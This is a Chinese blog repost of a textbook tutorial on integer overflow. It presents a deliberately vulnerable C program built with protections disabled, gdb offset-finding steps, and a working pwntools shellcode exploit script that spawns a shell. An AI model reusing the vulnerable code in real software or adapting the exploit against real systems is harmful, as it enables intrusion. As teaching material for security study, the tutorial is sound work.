二進位制漏洞挖掘之整數溢位
在C 語言中,當進行加、乘運算時,計算的結果超出資料型別所能表示的範圍,則產生溢位。其中,整數溢位分為三種情況:
l 對整數型變數進行運算時,結果超出該資料型別所能表示的範圍。
l 將較大範圍的數儲存在較小範圍的變數中,造成資料截斷。
l 無符號數運算結果小於0 時。
整數溢位一般不能單獨利用,主要是用來繞過程式中的條件檢測,從而實現漏洞利用的目的。下面透過案例,演示利用整數溢位和棧溢位獲取系統shell 的過程。
(1 )編寫C 語言程式碼,儲存檔名為 “vulInt.c ” ,程式碼如下所示:
#include<stdio.h> #include<string.h> char buf1[100]; void dofunc() { setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); char buf[100]; gets(buf); unsigned char passwd_len = strlen(buf); if (passwd_len >= 4 && passwd_len <= 8) { strncpy(buf1, buf, 100); } } int main(int argc, char* argv[]) { dofunc(); return 0; }
程式碼 “unsigned char passwd_len = strlen(passwd) ” 明視訊記憶體在溢位漏洞,strlen 函式的返回型別是size_t 型別,並儲存在無符號字元型資料型別中。因此,任何大於無符號字元型的最大上限值256 都會導致整數溢位,所以,當密碼長度是261 ,將被截斷並儲存為5 ,繞過 “if (passwd_len >= 4 && passwd_len <= 8) ” 程式碼的邊界檢查,從而實現利用 “strncpy(buf1, buf, 100) ” 程式碼實現棧溢位。
(2 ) 執行 “gcc -m32 -g -fno-stack-protector -z execstack vulInt.c -o vulInt ” 命令,編譯程式,再使用gdb 除錯程式。結果如圖11-19 所示。
圖11-19
(3 )執行 “cyclic 261 ” 命令,生成261 個字元:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacp ,結果如圖11-20 所示。
圖11-20
(4 ) 除錯程式,執行程式至輸入引數處,輸入步驟3 生成的字元,結果如圖11-21 所示。
圖11-21
(5 ) 繼續執行程式,結果如圖11-22 所示。
圖11-22
由圖可知,當輸入261 個字元時,成功繞過程式的邊界檢查,且EIP 中儲存的資料為輸入的字元。因此,構造特殊的輸入字元,可以控制EIP 。
(6 ) 執行 “distance &buf ebp ” 命令,計算buf 與ebp 的距離,結果如圖11-23 所示。由圖可知,buf 與ebp 的距離為0x6d 。
圖11-23
(7 )執行 “x buf1 ” 命令,檢視buf1 的地址,結果如圖11-24 所示。由圖可知,buf1 的地址為0x804a060 。
圖11-24
(8 ) 根據 (6 ) 至 (7 ) 獲取的資料資訊,編寫exp 指令碼,儲存檔名為“vulInt.py ”,程式碼如下所示:
from pwn import * context(os = 'linux', arch = 'i386') pRetAddr = 0x0804A060 shellcode = asm(shellcraft.sh()) payload = shellcode.ljust(0x6d + 4, b'a') + p32(pRetAddr) payload += "b" * (261 - len(payload)) p = process("./vulInt") p.sendline(payload) p.interactive()
執行 “python vulInt.py ” 命令,執行指令碼,獲取系統shell ,再執行 “ls ” 命令,測試shell 能否正常使用,結果如圖11-25 所示。由圖可知,漏洞利用成功,並獲取能夠正常使用的shell 。
圖11-25
本文節選自《二進位制安全基礎》,獲出版社和作者授權釋出。
來自 “ ITPUB部落格 ” ,連結:https://blog.itpub.net/18841117/viewspace-3005927/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- [二進位制漏洞]棧(Stack)溢位漏洞 Linux篇Linux
- 整數轉化成八進位制、十六進位制、二進位制,以及轉回
- 整數溢位
- 遞迴函式實現十進位制正整數轉換為二進位制,八進位制,十六進位制遞迴函式
- perl格式串處理整數溢位漏洞(轉)
- 二進位制,八進位制,十進位制,十六進位制之間的轉換
- 進位制之間的轉換之“十六進位制 轉 十進位制 轉 二進位制 方案”
- [譯]ES6新特性:八進位制和二進位制整數字面量
- 大話二進位制,八進位制,十進位制,十六進位制之間的轉換
- 一看就懂二進位制、八進位制、十六進位制數轉換十進位制
- 進位制詳解:二進位制、八進位制和十六進位制
- C++輸入十進位制數,輸出對應二進位制數、十六進位制數C++
- JavaScript 二進位制、八進位制與十六進位制JavaScript
- 二進位制與二進位制運算
- 二進位制漏洞分析技能腦圖
- ERC20 智慧合約整數溢位系列漏洞披露
- JavaScript 二進位制數字轉換為十進位制JavaScript
- 二進位制,八進位制,十進位制,十六進位制的相互轉換
- Python中整數移位及二進位制串操作Python
- 【進位制轉換】二進位制、十六進位制、十進位制、八進位制對應關係
- ORACLE使用函式對二進位制、十進位制、十六進位制數互相轉換Oracle函式
- 十進位制——二 (八、十六 )進位制
- 計算機基礎進位制轉換(二進位制、八進位制、十進位制、十六進位制)計算機
- java中二進位制、八進位制、十進位制、十六進位制的轉換Java
- Python 進位制互相轉換(二進位制、十進位制和十六進位制)Python
- javascript十進位制數字和二進位制相互轉換JavaScript
- 二進位制、十進位制與十六進位制相互轉化
- (二進位制)
- 二進位制
- 求一個整數的二進位制中1的個數
- JAVA 二進位制,八進位制,十六進位制,十進位制間進行相互轉換Java
- 十六進位制數轉十進位制
- 1290. 二進位制連結串列轉整數
- 二進位制轉十進位制快速方法
- JavaScript 進位制轉換(2進位制、8進位制、10進位制、16進位制之間的轉換)JavaScript
- [計算機基礎] 計算機進位制轉換:二進位制、八進位制、十進位制、十六進位制計算機
- 用C#實現二進位制的減法(包括二進位制小數)C#
- python進位制轉換(二進位制、十進位制和十六進位制)及注意事項Python